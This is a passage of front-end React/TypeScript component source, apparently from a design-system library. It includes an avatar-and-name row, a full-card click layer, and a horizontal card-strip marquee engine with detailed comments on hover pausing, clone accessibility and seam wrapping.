onFocus={activate}\n      onBlur={deactivate}\n    >\n      {media}\n      {toolbar && (\n        // Solid-surface action row UNDER the media (WCAG non-text contrast —\n        // see the `toolbar` prop doc). Part of the card, so hovering it keeps\n        // hover playback alive.\n        <div className=\"flex items-center justify-between gap-1 border-t border-ods-border bg-ods-card px-2 py-1.5\">\n          {toolbar}\n        </div>\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport { cn } from '../utils/cn';\nimport { getProxiedImageUrl } from '../utils/image-proxy';\nimport { SquareAvatar } from './ui/square-avatar';\n\ninterface UserDisplayProps {\n  name: string;\n  avatarUrl?: string | null;\n  /** optional secondary text (e.g., relative timestamp) */\n  subtitle?: string | null;\n  /** Avatar size in px (defaults 32) */\n  size?: number;\n  /** Avatar corner treatment, forwarded to SquareAvatar. Default 'square'. */\n  shape?: 'square' | 'round';\n  /** Compact typography (14px/20px rows — video-bite overlay density). */\n  compact?: boolean;\n  className?: string;\n}\n\n/**\n * Reusable horizontal avatar + name (+ optional subtitle) row that follows\n * the visual pattern used in CommentCard headers.\n */\nexport function UserDisplay({\n  name,\n  avatarUrl,\n  subtitle,\n  size = 32,\n  shape = 'square',\n  compact = false,\n  className,\n}: UserDisplayProps) {\n  return (\n    <div className={cn('flex min-w-0 items-center gap-2', className)}>\n      <SquareAvatar\n        src={avatarUrl ? getProxiedImageUrl(avatarUrl) || avatarUrl : undefined}\n        fallback={name}\n        alt={name}\n        sizePx={size}\n        variant={shape}\n      />\n      <div className=\"min-w-0 flex-1\">\n        <p className={cn('truncate text-ods-text-primary', compact ? 'text-h6' : 'text-h4')}>{name}</p>\n        {subtitle && <span className={cn('block truncate text-ods-text-secondary text-h6')}>{subtitle}</span>}\n      </div>\n    </div>\n  );\n}\n","'use client';\n\n/**\n * <CardHitLayer> — THE full-bleed click target for media cards.\n *\n * A CONTENTLESS `<a>`/`<button>` stretched over its positioned parent. Cards\n * that show a video with overlaid chrome (walkthrough mini player, video-bite\n * cards) all need the same thing: the whole card is one click target, while the\n * visible label/controls sit above it as their own positioned elements.\n *\n * Why contentless: putting the label INSIDE the interactive element makes the\n * element content-sized, so it collapses around the label instead of covering\n * the card — that produced both a mis-placed title and a mostly-unclickable\n * card in the walkthrough widget. Separating \"what you click\" from \"what you\n * see\" makes both deterministic.\n *\n * Why a component and not a copied className: the two consumers drifted (only\n * one had `cursor-pointer`, only one covered the full card), which is exactly\n * the class of inconsistency this exists to prevent.\n *\n * The host owns stacking + hover gating via `className` (e.g. `z-20`, or the\n * bite strip's touch gating, `isTouch && !isActive`).\n */\n\nimport type React from 'react';\nimport { cn } from '../../utils/cn';\n\nexport interface CardHitLayerProps {\n  /** Accessible name. The layer has no content, so this IS its label. */\n  label: string;\n  /** Renders an anchor when set, otherwise a button. */\n  href?: string | null;\n  onClick?: (e: React.MouseEvent) => void;\n  /** Runs before click — used to stop media synchronously (audio-blip guard). */\n  onPointerDown?: (e: React.PointerEvent) => void;\n  /** Stacking + pointer-event gating supplied by the host. */\n  className?: string;\n  /** Marquee loop-clone: keep the pointer affordance and the click, but stay\n   *  out of the a11y tree and the tab order so the duplicate copy does not\n   *  double every link. Without this, clones rendered NO hit layer at all —\n   *  so the visible half of a marquee had no pointer cursor and no click. */\n  decorative?: boolean;\n}\n\n/** Reset every UA affordance so the layer is invisible but clickable. The\n *  pointer cursor comes from the ODS base rule (ods-interaction-states.css),\n *  not from here — one definition for every control in the system. */\nconst HIT_LAYER_BASE =\n  'absolute inset-0 block h-full w-full appearance-none border-0 bg-transparent p-0 ' +\n  // A transparent full-card button is otherwise invisible to keyboard users.\n  'focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-focus';\n\nexport function CardHitLayer({\n  label,\n  href,\n  onClick,\n  onPointerDown,\n  className,\n  decorative = false,\n}: CardHitLayerProps): React.ReactElement {\n  const a11y = decorative ? { 'aria-hidden': true as const, tabIndex: -1 } : { 'aria-label': label };\n  if (href) {\n    return (\n      <a\n        href={href}\n        {...a11y}\n        onClick={onClick}\n        onPointerDown={onPointerDown}\n        className={cn(HIT_LAYER_BASE, className)}\n      />\n    );\n  }\n  return (\n    <button\n      type=\"button\"\n      {...a11y}\n      onClick={onClick}\n      onPointerDown={onPointerDown}\n      className={cn(HIT_LAYER_BASE, className)}\n    />\n  );\n}\n","'use client';\n\n/**\n * <CardsStrip> — THE horizontal card-strip engine (single source of truth).\n *\n * Extracted verbatim from <VideoBitesStrip> so every strip surface shares ONE\n * marquee/chevron/seam/measure implementation (\"unify means delete\n * variations\"). Two input modes, one engine:\n *\n *   MODE A — render-prop (`items` + `itemKey` + `renderCard`): full control.\n *   The card receives the strip context (controlled activation, clone flag,\n *   shared player-mount gate) and owns its own clone a11y. Used by\n *   <VideoBitesStrip>. The engine adds NO cell wrapper in this mode — the\n *   card's root is the track's direct child (`scrollByCard` measures\n *   `track.firstElementChild.offsetWidth`, and the `flex items-stretch gap-4`\n *   sizing contract depends on it).\n *\n *   MODE B — children (organic): ANY card components as plain JSX children.\n *   Each child is auto-wrapped in a managed cell (fixed width, hover/keyboard\n *   marquee-pause, clone `aria-hidden` + focus-suppressed but still CLICKABLE,\n *   row-height stretch).\n *   Adding a new card type requires ZERO strip code. Contract:\n *   (a) pass an ARRAY of children (`{rows.map(...)}`) — `Children.toArray`\n *       does NOT flatten through a single <Fragment> child (it would become\n *       one giant cell; a dev-only warning fires);\n *   (b) when `autoScroll` is on, children must be ref-free / unique-DOM-id-\n *       free / mount-effect-free — the clone copy mounts the same element a\n *       second time (double-fired effects, duplicate ids, last-mounted ref).\n *\n * Activation invariant: hover/focus activation is wired in exactly ONE place —\n * the managed cell (children mode) OR the card itself (render-prop mode,\n * e.g. <VideoBiteCard>) — never both.\n *\n * Marquee state model (explicit — do not \"simplify\" into one timer):\n * the rAF advances only when the pause-reason set {cardHovered, offViewport,\n * tabHidden, reducedMotion} is empty AND `now > max(chevronSuppressUntil,\n * userScrollSuppressUntil)`. cardHovered means the pointer is over a CARD\n * (incl. its overlay) — leaving the card resumes the marquee immediately.\n * Chevron clicks and manual wheel/touch each set their own suppress-until\n * timestamp; any card-level leave-grace is a separate concern that never\n * touches marquee state.\n */\n\nimport React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { useMarqueeEngine } from '../../hooks/ui/use-marquee-engine';\nimport { useResetOnPageHidden } from '../../hooks/ui/use-reset-on-page-hidden';\nimport { useSuppressCloneFocus } from '../../hooks/ui/use-suppress-clone-focus';\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport';\nimport { cn } from '../../utils/cn';\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon';\nimport { Chevron02RightIcon } from '../icons-v2-generated/arrows/chevron-02-right-icon';\nimport { SECTION_HEADING_CLASS } from '../layout/page-heading';\nimport { Button } from '../ui/button';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Per-card strip context passed to `renderCard` (and used internally by the\n *  children-mode managed cell). */\nexport interface CardStripRenderCtx {\n  /** Item index (copy-independent — the clone copy repeats the same indices). */\n  index: number;\n  /** `${itemKey}__${copyIndex}__${index}` — unique per rendered card, even for\n   *  duplicate items (the trailing index disambiguates). */\n  cardKey: string;\n  isClone: boolean;\n  isTouch: boolean;\n  /** Engine's (max-width: 767px) media query. */\n  isMobile: boolean;\n  /** activeKey === cardKey (controlled hover/focus activation). */\n  active: boolean;\n  onActivate: (key: string) => void;\n  onDeactivate: (key: string) => void;\n  /** Shared-by-index 500px near-viewport gate (opt-in — only meaningful when\n   *  the card registers via `rootRef`). */\n  mounted: boolean;\n  /** Registers the card root with the mount-gate IntersectionObserver.\n   *  May return a cleanup (React 19 ref contract). */\n  rootRef: (el: HTMLDivElement | null) => (() => void) | undefined;\n}\n\ninterface CardsStripEngineProps {\n  /** Section heading. Omit `title` (or set `showTitle={false}`) to hide. */\n  title?: string;\n  showTitle?: boolean;\n  /** Custom node rendered between the heading and the strip. */\n  headerSlot?: React.ReactNode;\n  /** Marquee auto-scroll. Auto-disabled on no-overflow and\n   *  prefers-reduced-motion. Pass `autoScroll={false}` for chevron-style\n   *  entity strips — the default stays `true` for bites-contract parity. */\n  autoScroll?: boolean;\n  /** Marquee speed in px/s. Default 60 — marquee libraries (e.g. GSAP marquee)\n   *  default around 100px/s; 60 keeps drift lively while cards stay easy to\n   *  hover-target. 60px/s ≈ 1px per 60Hz frame, the smoothest integer step. */\n  autoScrollSpeed?: number;\n  /** Pause the marquee while a CARD is hovered (resumes as soon as the\n   *  pointer leaves the card — strip whitespace/heading never pauses). */\n  pauseOnHover?: boolean;\n  /** Floating prev/next buttons. Hidden automatically when nothing overflows. */\n  showChevrons?: boolean;\n  /** Chevron aria-labels. */\n  prevLabel?: string;\n  nextLabel?: string;\n  /** Merged into the engine's wrapper ref (e.g. `useVideoWarmup().ref`). */\n  rootRef?: (el: HTMLDivElement | null) => void;\n  className?: string;\n}\n\n// The two mode interfaces hand-mirror each other's field names as `never` —\n// INVARIANT: every field added to one mode gets a `never` twin in the other,\n// or the XOR discrimination silently weakens (mixed-mode props become\n// assignable). Same manual pattern as social-icon-row.tsx / chart.tsx.\n\n/** MODE A — render-prop (advanced): full ctx control, no cell wrapper. */\ninterface RenderCardMode<T> {\n  items: ReadonlyArray<T>;\n  itemKey: (item: T, index: number) => string;\n  renderCard: (item: T, ctx: CardStripRenderCtx) => React.ReactNode;\n  children?: never;\n  cardWidthDesktop?: never;\n  cardWidthMobile?: never;\n}\n\n/** MODE B — children (organic): ANY card components, zero registration. */\ninterface ChildrenMode {\n  children: React.ReactNode;\n  /** Managed cell width in px per breakpoint (Figma: 400 desktop). */\n  cardWidthDesktop?: number;\n  cardWidthMobile?: number;\n  items?: never;\n  itemKey?: never;\n  renderCard?: never;\n}\n\nexport type CardsStripProps<T = unknown> = CardsStripEngineProps & (RenderCardMode<T> | ChildrenMode);\n\n// =============================================================================\n// Constants\n// =============================================================================\n\n// Gap between cards (px) — keep in sync with the track's `gap-4`.\nconst TRACK_GAP_PX = 16;\n// Marquee suppression windows after manual interaction.\nconst CHEVRON_SUPPRESS_MS = 4000;\nconst USER_SCROLL_SUPPRESS_MS = 3000;\n\n/** Single source for the strip cell width cap (shared with <VideoBiteCard>). */\nexport const STRIP_CELL_MAX_WIDTH = '90vw';\n\nconst EMPTY_CHILDREN: ReadonlyArray<React.ReactNode> = [];\n\n// =============================================================================\n// Children-mode managed cell\n// =============================================================================\n\n// (Clone focus suppression lives in hooks/ui/use-suppress-clone-focus — shared\n// with <MarqueeWall>, which renders the same 2-copy endless-loop structure.)\n\n/**\n * Children-mode cell: fixed width + hover/keyboard activation (wired here, never\n * on the card — the single-place activation invariant). The OUTER cell is never\n * inert/aria-hidden — an inert cell would retarget its pointer events to the\n * track and defeat the clone hover-pause; the INNER wrapper carries the clone\n * a11y treatment.\n */\nfunction ManagedCell({\n  item,\n  ctx,\n  cardWidthMobile,\n  cardWidthDesktop,\n}: {\n  item: unknown;\n  ctx: CardStripRenderCtx;\n  cardWidthMobile: number;\n  cardWidthDesktop: number;\n}) {\n  // Per-child DESKTOP cell-width hint: heterogeneous card designs need\n  // heterogeneous cells (wide horizontal cards vs 400px vertical cards —\n  // variable widths are native to the engine, exactly like bite ratios). Read\n  // from the child ELEMENT's `data-strip-cell-width` prop; mobile keeps the\n  // strip-level width (wide cards stack vertically below md anyway).\n  const hintedWidth = React.isValidElement(item)\n    ? (item.props as Record<string, unknown>)['data-strip-cell-width']\n    : undefined;\n  const desktopWidth = typeof hintedWidth === 'number' ? hintedWidth : cardWidthDesktop;\n  const cloneRef = useSuppressCloneFocus(ctx.isClone);\n  return (\n    <div\n      className=\"shrink-0 self-stretch\"\n      style={{ width: ctx.isMobile ? cardWidthMobile : desktopWidth, maxWidth: STRIP_CELL_MAX_WIDTH }}\n      data-strip-card-key={ctx.cardKey}\n      onPointerEnter={ctx.isTouch ? undefined : () => ctx.onActivate(ctx.cardKey)}\n      onPointerLeave={ctx.isTouch ? undefined : () => ctx.onDeactivate(ctx.cardKey)}\n      // Keyboard pause parity (focus bubbles from the card's anchor; WCAG 2.2.2).\n      onFocus={() => ctx.onActivate(ctx.cardKey)}\n      onBlur={e => {\n        // Intra-cell focus moves must not blip the pause off.\n        if (e.currentTarget.contains(e.relatedTarget)) return;\n        ctx.onDeactivate(ctx.cardKey);\n      }}\n    >\n      {/* INNER: clone a11y — `aria-hidden` + focusable descendants forced out of\n          the tab order (useSuppressCloneFocus), but pointer events preserved so\n          a visible clone card stays clickable. Cards untouched. */}\n      <div ref={cloneRef} className=\"h-full [&>*]:h-full [&>a>*]:h-full\" aria-hidden={ctx.isClone || undefined}>\n        {item as React.ReactNode}\n      </div>\n    </div>\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function CardsStrip<T = unknown>(props: CardsStripProps<T>): React.ReactElement | null {\n  const {\n    title,\n    showTitle = true,\n    headerSlot,\n    autoScroll = true,\n    autoScrollSpeed = 60,\n    pauseOnHover = true,\n    showChevrons = true,\n    prevLabel = 'Previous items',\n    nextLabel = 'Next items',\n    rootRef,\n    className,\n  } = props;\n\n  // ---- input-mode normalization ---------------------------------------------\n  // Children mode feeds the SAME engine path as render-prop mode — one\n  // track/clone/measure/scroll implementation. Engine internals operate on the\n  // erased item type (`unknown`); the only assertions live at this seam.\n  const childrenMode = props.renderCard === undefined;\n  const childItems = useMemo(\n    () => (childrenMode ? React.Children.toArray(props.children) : EMPTY_CHILDREN),\n    [childrenMode, props.children],\n  );\n  const items: ReadonlyArray<unknown> = childrenMode ? childItems : props.items;\n  const cardWidthDesktop = childrenMode ? (props.cardWidthDesktop ?? 400) : 0;\n  const cardWidthMobile = childrenMode ? (props.cardWidthMobile ?? 320) : 0;\n\n  useEffect(() => {\n    if (process.env.NODE_ENV === 'production' || !childrenMode) return;\n    const only = childItems.length === 1 ? childItems[0] : null;\n    if (React.isValidElement(only) && only.type === React.Fragment) {\n      console.warn(\n        '[CardsStrip] A single <Fragment> child becomes ONE giant cell — pass an array of card elements ({rows.map(...)}) instead.',\n      );\n    }\n  }, [childrenMode, childItems]);\n\n  const getItemKey = (item: unknown, index: number): string => {\n    if (!childrenMode) {\n      // Seam assertion: T is erased inside the engine; the props union\n      // guarantees itemKey matches the items array.\n      return (props.itemKey as (item: unknown, index: number) => string)(item, index);\n    }\n    // Children.toArray always assigns element keys ('.0' / '.$slug' — stable\n    // across renders); explicit null-check because `&&`/`??` chaining yields\n    // the string \"false\" for non-element children (same isValidElement guard\n    // as steps.tsx).\n    return React.isValidElement(item) && item.key != null ? String(item.key) : String(index);\n  };\n\n  const wrapperRef = useRef<HTMLDivElement | null>(null);\n  const scrollerRef = useRef<HTMLDivElement | null>(null);\n  const trackRef = useRef<HTMLDivElement | null>(null);\n\n  // ---- environment ----------------------------------------------------------\n  const [reducedMotion, setReducedMotion] = useState(false);\n  const [isTouch, setIsTouch] = useState(false);\n  const [isMobile, setIsMobile] = useState(false);\n  useEffect(() => {\n    const subs: Array<() => void> = [];\n    const watch = (query: string, set: (v: boolean) => void) => {\n      const mq = window.matchMedia(query);\n      set(mq.matches);\n      const onChange = (e: MediaQueryListEvent) => set(e.matches);\n      mq.addEventListener('change', onChange);\n      subs.push(() => mq.removeEventListener('change', onChange));\n    };\n    watch('(prefers-reduced-motion: reduce)', setReducedMotion);\n    watch('(hover: none)', setIsTouch);\n    watch('(max-width: 767px)', setIsMobile);\n    return () => {\n      subs.forEach(fn => {\n        fn();\n      });\n    };\n  }, []);\n\n  // ---- overflow measurement ---------------------------------------------------\n  // TWO overflow states on purpose: `overflows` (any real overflow) gates\n  // chevrons — a strip clipping even a few px must stay navigable —\n  // while `marqueeEligible` (overflow beyond the joining gap) additionally\n  // gates cloning + rAF: the cloned track's physical maxScroll is\n  // 2·copy − gap − viewport, so a copy overflowing by less than the gap\n  // makes even the zero-buffer wrap range [0, copy) unreachable — the\n  // engine would clamp at the track end and freeze. Razor-thin overflow\n  // (≤16px) stays a static, chevron-navigable row instead.\n  const [overflows, setOverflows] = useState(false);\n  const [marqueeEligible, setMarqueeEligible] = useState(false);\n  const singleCopyWidthRef = useRef(0);\n  const marqueeActive = autoScroll && !reducedMotion && marqueeEligible && items.length > 0;\n\n  const measure = useCallback(() => {\n    const scroller = scrollerRef.current;\n    const track = trackRef.current;\n    if (!scroller || !track) return;\n    // When clones are rendered the track is 2× one copy (+ one joining gap).\n    const copies = track.dataset.copies === '2' ? 2 : 1;\n    const singleCopy = copies === 2 ? (track.scrollWidth - TRACK_GAP_PX) / 2 + TRACK_GAP_PX : track.scrollWidth;\n    singleCopyWidthRef.current = singleCopy;\n    setOverflows(singleCopy > scroller.clientWidth + 1);\n    setMarqueeEligible(singleCopy > scroller.clientWidth + TRACK_GAP_PX);\n  }, []);\n\n  useEffect(() => {\n    measure();\n    const scroller = scrollerRef.current;\n    const track = trackRef.current;\n    if (!scroller || !track || typeof ResizeObserver === 'undefined') return undefined;\n    const ro = new ResizeObserver(measure);\n    ro.observe(scroller);\n    ro.observe(track);\n    return () => ro.disconnect();\n  }, [measure, items.length, marqueeActive, isMobile]);\n\n  // ---- pause-reason set + suppress timestamps ---------------------------------\n  // (Card hover — the only hover-based pause reason — lives in activeKeyRef below.)\n  const chevronSuppressUntilRef = useRef(0);\n  const userScrollSuppressUntilRef = useRef(0);\n\n  // Two-way viewport gate (unlike the fire-once `useNearViewport`): STATE,\n  // not a pause reason — it gates the engine's `active` so the rAF fully\n  // stops while the strip is far off-screen (a paused engine would keep\n  // scheduling frames forever), and because the velocity envelope persists\n  // across engine restarts, scrolling back resumes at cruise speed instantly.\n  const [nearViewport, setNearViewport] = useState(true);\n  useEffect(() => {\n    const el = wrapperRef.current;\n    if (!el || typeof IntersectionObserver === 'undefined') return undefined;\n    const io = new IntersectionObserver(entries => setNearViewport(entries[0]?.isIntersecting ?? true), {\n      rootMargin: '200px',\n    });\n    io.observe(el);\n    return () => io.disconnect();\n  }, []);\n\n  // ---- hover / overlay state -----------------------------------------------------\n  // activeKey identifies the hovered/tap-activated CARD (copy-aware so hovering\n  // a clone near the wrap seam works too). It only drives per-card `active`\n  // state — any heavier behavior (players, overlays) is the card's concern.\n  const [activeKey, setActiveKey] = useState<string | null>(null);\n  // Ref mirror for the rAF loop: the marquee pauses ONLY while a CARD is\n  // hovered (activeKey set) — hovering strip whitespace/heading does not\n  // pause, and leaving a card resumes immediately.\n  const activeKeyRef = useRef<string | null>(null);\n  const activate = useCallback((key: string) => {\n    activeKeyRef.current = key;\n    setActiveKey(key);\n  }, []);\n  const deactivate = useCallback((key: string) => {\n    // Ref write hoisted OUT of the state updater: React re-invokes queued\n    // updaters at render time, so an impure updater could re-null the ref\n    // AFTER a same-batch activate(B) already set it (leave(A)+enter(B) in one\n    // dispatch when the pointer jumps directly between cells) — stranding the\n    // rAF pause check while a card is visibly hovered.\n    if (activeKeyRef.current === key) activeKeyRef.current = null;\n    setActiveKey(current => (current === key ? null : current));\n  }, []);\n\n  // ---- container-level hover pause + pointer-tracked activation sync ---------\n  // TWO separate concerns, deliberately decoupled (matches how production\n  // marquees — react-fast-marquee, GSAP — behave):\n  //\n  // 1. MARQUEE PAUSE is container-level: `hoverPointerRef.inside` is true\n  //    whenever a hover-capable pointer is over the SCROLLER (the cards row).\n  //    The rAF freezes on it, so content NEVER auto-moves under a pointing\n  //    cursor — which is what made per-card boundary pausing feel flaky\n  //    (cards sliding under/away from a stationary pointer don't emit\n  //    pointerenter/leave, gaps caused stutter-steps, seam warps swapped the\n  //    hovered card's identity mid-playback).\n  //\n  // 2. CARD ACTIVATION (overlay + video playback) stays per-card: the card/\n  //    cell pointer handlers are the zero-latency path, and the\n  //    elementFromPoint sync below re-resolves the card under the pointer\n  //    whenever the track moves WHILE the pointer is inside (user wheel\n  //    scroll, chevron glide, seam warp) — scoped to THIS strip's scroller so\n  //    stacked strips can never activate/pause each other.\n  const hoverPointerRef = useRef<{ x: number; y: number; inside: boolean }>({ x: 0, y: 0, inside: false });\n  const lastHoverSyncScrollRef = useRef(-1);\n  const syncHoverToPointer = useCallback(() => {\n    const p = hoverPointerRef.current;\n    if (!p.inside) return;\n    const el = typeof document !== 'undefined' ? document.elementFromPoint(p.x, p.y) : null;\n    const cardEl = el?.closest?.('[data-strip-card-key]') as HTMLElement | null;\n    // Strip-scoped: a card from ANOTHER CardsStrip under the tracked point\n    // must read as \"no card here\" (stacked strips share the viewport).\n    const scoped = cardEl && scrollerRef.current?.contains(cardEl) ? cardEl : null;\n    const key = scoped?.getAttribute('data-strip-card-key') ?? null;\n    const current = activeKeyRef.current;\n    if (key === current) return;\n    if (current !== null) deactivate(current);\n    if (key !== null) activate(key);\n  }, [activate, deactivate]);\n  // Hover-capable pointers only (mouse/pen) — touch drags must not fake hover.\n  const onHoverPointerEnter = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    hoverPointerRef.current = { x: e.clientX, y: e.clientY, inside: true };\n  }, []);\n  const onHoverPointerMove = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    hoverPointerRef.current = { x: e.clientX, y: e.clientY, inside: true };\n  }, []);\n  const onHoverPointerLeave = useCallback(\n    (e: React.PointerEvent) => {\n      if (e.pointerType === 'touch') return;\n      hoverPointerRef.current.inside = false;\n      // The pointer left the whole scroller — no card can be hovered anymore\n      // (covers leave events swallowed by DOM churn under the cursor).\n      const current = activeKeyRef.current;\n      if (current !== null) deactivate(current);\n    },\n    [deactivate],\n  );\n  // Unconditional hover-clear (any pointer type) — the self-heal for a MISSED\n  // `pointerleave`. A leave can be swallowed by a tab blur, an interrupted\n  // pointer (pointercancel), or an overlay mounting under the cursor, leaving\n  // `inside` stuck true so the marquee freezes FOREVER (\"gets stuck every once\n  // in a while\"). Reset it on pointercancel + whenever the tab hides / the\n  // window loses focus; the next real hover re-arms it. Can only un-stick.\n  const clearHover = useCallback(() => {\n    hoverPointerRef.current.inside = false;\n    const current = activeKeyRef.current;\n    if (current !== null) deactivate(current);\n  }, [deactivate]);\n  // Shared SSOT self-heal: un-stick the hover flag whenever the tab hides / the\n  // window loses focus (a `pointerleave`/`pointercancel` can be swallowed).\n  useResetOnPageHidden(clearHover);\n  /** Re-sync hover only when the track actually moved under the pointer.\n   *  KNOWN HOT-PATH COST (intentional): while the marquee runs with the\n   *  pointer parked over strip whitespace (no card → not paused), scrollLeft\n   *  changes every frame, so this invokes `document.elementFromPoint` ~60×/s\n   *  — a synchronous hit-test. It's inherent to detecting a card sliding\n   *  under a stationary cursor; any throttle trades hover latency for it.\n   *  Revisit only if profiling flags it on pages with many stacked strips. */\n  const syncHoverIfScrolled = useCallback(() => {\n    const scroller = scrollerRef.current;\n    if (!scroller) return;\n    if (scroller.scrollLeft === lastHoverSyncScrollRef.current) return;\n    lastHoverSyncScrollRef.current = scroller.scrollLeft;\n    syncHoverToPointer();\n  }, [syncHoverToPointer]);\n\n  // ---- marquee rAF engine (shared core) ---------------------------------------\n  // Position/envelope/wrap/glide live in `useMarqueeEngine` — THE marquee\n  // animation, shared with <MarqueeWall> (quick-action walls, chip marquees).\n  // CardsStrip contributes the scroller driver (apply/readBack on scrollLeft:\n  // the user can also drag this surface) and its pause-reason set: container-\n  // level hover (industry-standard — content must never move under a pointing\n  // cursor; per-card activeKey still pauses for keyboard focus), hidden tab,\n  // and the chevron / user-scroll suppress windows. Chevron GLIDE\n  // runs through the engine too: browser `scrollBy({behavior:'smooth'})`\n  // animates toward an ABSOLUTE target, so a seam warp mid-animation made it\n  // lunge a full copy-width to catch up, warp again, and oscillate.\n  // Seam-warp BUFFER: the re-center zones sit this far inside the physical\n  // track edges. An exact-edge check (`scrollLeft <= 0`) is racy against the\n  // engine — the rAF nudges the scroller off 0 before the scroll handler\n  // samples it, so a user scrolling left \"sticks\" 1–2px from the edge and\n  // the loop never wraps. The engine's wrap range is aligned to\n  // [buffer, buffer + copy) so engine-written positions can never enter a\n  // zone and ping-pong with the handler. The buffer is ALSO capped by the\n  // physical slack (copy − viewport − gap): the range's upper end\n  // buffer + copy must stay reachable below maxScroll = 2·copy − gap −\n  // viewport, or a barely-overflowing strip clamps at the track end and the\n  // wrap threshold is never crossed — a permanently frozen marquee.\n  const seamBuffer = useCallback(() => {\n    const half = singleCopyWidthRef.current;\n    const viewport = scrollerRef.current?.clientWidth ?? 0;\n    return Math.max(0, Math.min(200, half / 4, half - viewport - TRACK_GAP_PX - 1));\n  }, []);\n\n  const { posRef: marqueePosRef, glideBy } = useMarqueeEngine({\n    // Viewport gates `active` (the rAF fully stops off-screen — a paused\n    // engine would keep scheduling frames forever), same treatment as\n    // <MarqueeWall>; the envelope persists, so re-entry resumes at cruise.\n    active: marqueeActive && nearViewport,\n    speed: autoScrollSpeed,\n    isPaused: now =>\n      (pauseOnHover && (hoverPointerRef.current.inside || activeKeyRef.current !== null)) ||\n      document.visibilityState === 'hidden' ||\n      now < Math.max(chevronSuppressUntilRef.current, userScrollSuppressUntilRef.current),\n    getWrapSize: () => singleCopyWidthRef.current,\n    getWrapMin: seamBuffer,\n    apply: pos => {\n      const scroller = scrollerRef.current;\n      if (scroller) scroller.scrollLeft = pos;\n    },\n    readBack: () => scrollerRef.current?.scrollLeft ?? 0,\n    onAfterFrame: syncHoverIfScrolled,\n  });\n\n  // ---- shared card-mount gate (by ITEM index, across both copies) -------------\n  // A card and its clone show identical content half a copy-width apart. If\n  // each card gated its own expensive content (e.g. video players), a seam warp\n  // instantly swapped the visible copy for cards whose content was NOT mounted\n  // yet — every wrap crossing flashed placeholders. Mounting by INDEX (near in\n  // EITHER copy → both copies mount) makes the warp pixel-identical. Opt-in:\n  // cards that never register via ctx.rootRef incur no per-card observation.\n  const [mountedIdx, setMountedIdx] = useState<ReadonlySet<number>>(() => new Set());\n  const cardObserverRef = useRef<IntersectionObserver | null>(null);\n  const cardElIdxRef = useRef(new Map<Element, number>());\n  const cardElNearRef = useRef(new Map<Element, boolean>());\n  useEffect(() => {\n    if (typeof IntersectionObserver === 'undefined') return undefined;\n    const io = new IntersectionObserver(\n      entries => {\n        for (const e of entries) cardElNearRef.current.set(e.target, e.isIntersecting);\n        const next = new Set<number>();\n        cardElNearRef.current.forEach((near, el) => {\n          if (!near) return;\n          const idx = cardElIdxRef.current.get(el);\n          if (idx !== undefined) next.add(idx);\n        });\n        setMountedIdx(prev => {\n          if (prev.size === next.size) {\n            let same = true;\n            next.forEach(i => {\n              if (!prev.has(i)) same = false;\n            });\n            if (same) return prev;\n          }\n          return next;\n        });\n      },\n      { rootMargin: NEAR_VIEWPORT_ROOT_MARGIN },\n    );\n    cardObserverRef.current = io;\n    cardElIdxRef.current.forEach((_idx, el) => {\n      io.observe(el);\n    });\n    return () => {\n      io.disconnect();\n      cardObserverRef.current = null;\n    };\n  }, []);\n  // Stable per-index ref callbacks (a fresh closure per render would detach/\n  // re-attach the observer every render). React 19 ref-cleanup unregisters.\n  // The table is an instance-lifetime object from `useState`, not a ref:\n  // `getCardRef` is CALLED during render (from the JSX below), so reaching\n  // through `.current` there is a ref read in render. Filling it during render\n  // is safe in a way a general ref write is not — the entry for an index is a\n  // pure function of that index, so a discarded render attempt can only\n  // install exactly what the retry would have installed.\n  const [cardRefFns] = useState(() => new Map<number, (el: HTMLDivElement | null) => (() => void) | undefined>());\n  const getCardRef = useCallback(\n    (idx: number) => {\n      let fn = cardRefFns.get(idx);\n      if (!fn) {\n        fn = (el: HTMLDivElement | null) => {\n          if (!el) return undefined;\n          cardElIdxRef.current.set(el, idx);\n          cardObserverRef.current?.observe(el);\n          return () => {\n            cardElIdxRef.current.delete(el);\n            cardElNearRef.current.delete(el);\n            cardObserverRef.current?.unobserve(el);\n          };\n        };\n        cardRefFns.set(idx, fn);\n      }\n      return fn;\n    },\n    [cardRefFns],\n  );\n\n  // ---- manual navigation -----------------------------------------------------------\n  // Refreshed in an unconditional effect rather than in the render body: the\n  // readers are a chevron click and a scroll handler, both past a commit.\n  const marqueeActiveRef = useRef(false);\n  useEffect(() => {\n    marqueeActiveRef.current = marqueeActive;\n  });\n  const scrollByCard = useCallback(\n    (dir: 1 | -1) => {\n      const scroller = scrollerRef.current;\n      const track = trackRef.current;\n      if (!scroller || !track) return;\n      const firstCard = track.firstElementChild as HTMLElement | null;\n      const step = (firstCard?.offsetWidth ?? 320) + TRACK_GAP_PX;\n      chevronSuppressUntilRef.current = performance.now() + CHEVRON_SUPPRESS_MS;\n      if (marqueeActiveRef.current) {\n        // Wrap-aware glide via the rAF engine (see engine comment) — clicks\n        // accumulate distance instead of racing browser smooth-scroll targets.\n        glideBy(dir * step);\n      } else {\n        // No clones/seam without the marquee — native smooth scroll is safe.\n        scroller.scrollBy({ left: dir * step, behavior: 'smooth' });\n      }\n    },\n    [glideBy],\n  );\n\n  const onUserScrollIntent = useCallback(() => {\n    userScrollSuppressUntilRef.current = performance.now() + USER_SCROLL_SUPPRESS_MS;\n  }, []);\n  // Suppress ONLY on genuine horizontal-scroll intent. Vertical page-scroll\n  // wheel events over the strip and plain clicks (pointerdown) used to arm the\n  // 3s suppression — the \"marquee resumes only after a delay\" bug.\n  const onWheelIntent = useCallback(\n    (e: React.WheelEvent) => {\n      if (Math.abs(e.deltaX) > Math.abs(e.deltaY)) onUserScrollIntent();\n    },\n    [onUserScrollIntent],\n  );\n  const onPointerDownIntent = useCallback(\n    (e: React.PointerEvent) => {\n      if (e.pointerType === 'touch') onUserScrollIntent();\n    },\n    [onUserScrollIntent],\n  );\n\n  // Never-ending strip: re-center across the clone seam on EVERY scroll\n  // (manual wheel/drag/chevron included — the rAF only wraps while the\n  // 